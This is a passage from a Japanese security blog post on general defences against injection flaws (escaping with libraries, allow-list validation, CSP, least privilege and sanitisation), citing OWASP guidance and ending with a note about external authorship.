最後に、インジェクションによる脆弱性の発生を防ぐための汎用的な対策方法について記載します。それぞれのインジェクションにはそれぞれの対策方法があり、従うべき対策のベストプラクティスも全く異なるものになります。例えば、SQLインジェクションとXSSでは前提となる仕様が全く違うため、対策方法も全く異なるものになります。よって、有名なインジェクションについては、ベストプラクティスを調べて従うのが最も良い対策となります。

以降では、インジェクション全般に対する汎用的な対策方法について解説していきます。OWASPによる説明にとても簡潔に書かれているので引用しつつ、ここまで説明してきた内容を踏まえながら読み解いていきましょう。

エスケープ:ライブラリや公式関数による埋め込み

インジェクションを防止するためにはコマンドとクエリからデータを常に分けておくことが必要です:
推奨される選択肢は安全なAPIを使用すること。インタープリタの使用を完全に避ける、パラメータ化されたインターフェースを利用する、または、オブジェクト・リレーショナル・マッピング・ツール(ORM)を使用するように移行すること。
上記の対応が困難な動的クエリでは、そのインタープリタ固有のエスケープ構文を使用して特殊文字をエスケープする。

仕様を理解して、仕様に合わせてエスケープして埋め込みましょうという話をしてきましたが、これまで見てきた通り仕様の多くは複雑で、守るべきルールがたくさんあります。そのため、個人で仕様に合わせて埋め込みを実装するのは限界があり、より実績のあるライブラリや公式関数を使った埋め込みを実施しましょう。

最近のライブラリではsecure by defaultな設計になっているものも多いので、ライブラリを使って埋め込みをするだけでインジェクションを回避できるようになっています。HTMLへの埋め込みによるXSSはテンプレートエンジンによって根本的に発生しないようになっているものも多いですし、SQLインジェクションもパラメータ化されたインターフェースやORMを使うことで普通の使い方をすれば起きないようになっています。

繰り返しになりますが、自分で仕様を理解して独自に埋め込みをした場合にはセキュリティ脅威を見逃す危険性があります。本稿では自分で仕様を理解して対策をする題材を使用しましたが、これは概念の理解のためだけのものであり、実際のケースでは細かな仕様要求にすべて答えることは難しいのでライブラリを使って解決することになります。埋め込みが必要になった場合はライブラリや公式関数などで安全に埋め込める方法が無いかを探してみてください。

一点よくある注意ですが、公式ライブラリの中でも関数によっては安全なものとそうでないものがあるので注意が必要です。公式ドキュメントを注意深く読んだり、「[関数名] safe」などで検索してみると有用な情報を探すことができたりしますので、ご活用ください。

検証:入力検証

ポジティブな、言い換えると「ホワイトリスト」によるサーバーサイドの入力検証を用いる。特殊文字を必要とする多くのアプリケーション、たとえばモバイルアプリケーション用のテキスト領域やAPIなどにおいては完全な防御方法とはならない。

エスケープの重要性の他にも検証の重要性についても説明してきました。入力値は、埋め込み先の仕様を満たす必要があるだけではなく、開発したシステムが有する仕様も満たす必要があるはずです。埋め込み先の仕様に合わせた処理というのはライブラリで汎用的に行えますが、開発したシステムで想定される入力の仕様は自分たちで検証するしかありません。

一般に埋め込み先の仕様と開発したシステムで想定される入力の仕様を比較すると、後者の方が厳しい場合がほとんどなので、適切な検証を行うことで意図せぬ入力による想定していない動作を大きく防ぐことができます。想定されている入力であれば想定されている構造を変化させないはずです。

また、OWASPの説明にもあるように許可リスト(ホワイトリスト)による検証が一番効果的です。許可リストによる検証というのはこういう入力であれば「認める」といった許可型の検証のことです。逆にそうでない検証として、こういう入力は「認めない」といった拒否型の検証のことで、拒否リスト(ブラックリスト)による検証とも呼ばれます。

拒否リストを用いて特定の文字列の入力を阻害する方針は、利用可能な入力が読みにくく、開発者にとって想定外の方法で突破される可能性が上がります。(なお、過去のFlatt Security Developers' Quizでも拒否リストを使った検証が回避されるような例が出題されています #1 #2

これら2つのエスケープと検証は、どちらだけやればいいというものではなくどちらもしっかり行うことが重要です。

予防的対策について

クエリ内でLIMIT句やその他のSQL制御を使用することで、SQLインジェクション攻撃が発生した場合のレコードの大量漏洩を防ぐ。

インジェクションに限らず予防的対策も効果的です。OWASPの説明にはSQLインジェクションの場合の予防的対策が書かれていますが、XSSの場合はCSPのような追加で制限をかけるような対策もありますし、コマンドインジェクションの場合はアプリの実行ユーザーの権限の最小化などのハードニングと呼ばれるようなセキュリティ強化を実施することでコマンド実行できた場合の被害を小さくしようとする試みがあります。予防的対策についてもしっかり実施していき、攻撃を色々な方法や段階でブロックしていくことが重要です。

サニタイズについて

サニタイズという用語があります。日本語で無害化という意味を取りますが、エスケープとは異なり、入力の危ない部分を取り除いて無害化する処理を指します。

例えば、ユーザが入力する値としてHTMLタグを許可したい場合があったとします。こういった場合は、任意のHTMLタグを許可してしまうとXSSが起きる可能性があるので、XSSを引き起こす可能性のあるHTMLについては削除して攻撃には使えないようにしておく必要があります。この、危ないタグや属性を取り除くことをサニタイズと言います。例えば、HTML向けであればDOMPurifyのようなライブラリが利用できます。

サニタイズを実施する際は、実績のあるライブラリを使うことが重要です。優秀なライブラリを正しく使うことができれば、おおよそ安全にユーザが入力する値を埋め込むことができます。しかし、サニタイズによる安全の確保は、エスケープによる安全の確保に比べて格段に難易度が高いため、慎重に実施する必要があります。そのため、まずはエスケープを使ってインジェクションを防止できないか、HTMLごと埋め込むような構造自体を入力させないような形にはできないか、といったことを考える必要性が出てきます。

まとめ

OWASP Top 10の1つ「インジェクション」について説明してきました。

簡単にまとめると、インジェクションとは、仕様を持つ構造に対して、構造物の断片のような入力を与えることで意図していない動作を引き起こす手法の総称として説明してきました。仕様があるものに入力値を埋め込むとき、インジェクションの考え方がどこでも発生します。そして、インジェクションの対策としては、エスケープと検証をベストプラクティスに従って実施していくことが重要です。

インジェクションという考え方の汎用性と奥深さについて皆さんと共有できていれば幸いです。OWASP Top 10の他の項目も考えてみると楽しい項目ばかりなので、他の項目についても是非深堀してみてください。

Flatt Securityは外部パートナーと連携して技術記事を発信しています

本稿はFlatt Securityの外部パートナーが執筆し、Flatt Securityが監修を行った記事です。通常、企業の技術ブログは自社の技術力やカルチャーの発信のため、雇用関係にある社内メンバーの執筆によって発信されることがほとんどだと思います。

一方、Flatt Securityの技術ブログでは、本稿のようにセキュリティの知見をお持ちの外部の方に依頼しているケースがあります。種々の脆弱性情報や情報発信に知見を持つFlatt Securityの技術ブログ編集部が執筆者の方と連携することで、テーマや構成の検討・レビューをサポートしています。

これは、Flatt Securityの技術ブログの目的が自社のアピールにとどまらず、セキュリティに関する有益な情報をより多く社会に還元し、セキュリティ企業とセキュリティサービス利用者の間の情報の非対称性を無くすことを目的としているためです。

本文章は執筆者がセキュリティ診断のようなFlatt Securityのサービス提供に直接的に関わっているかのような誤解を防ぐために明記していますが、執筆にご興味を持たれた方はお問い合わせください。

※Flatt Securityが技術ブログ企画において重視している考え方については、以下の記事をご覧ください。

flatt.tech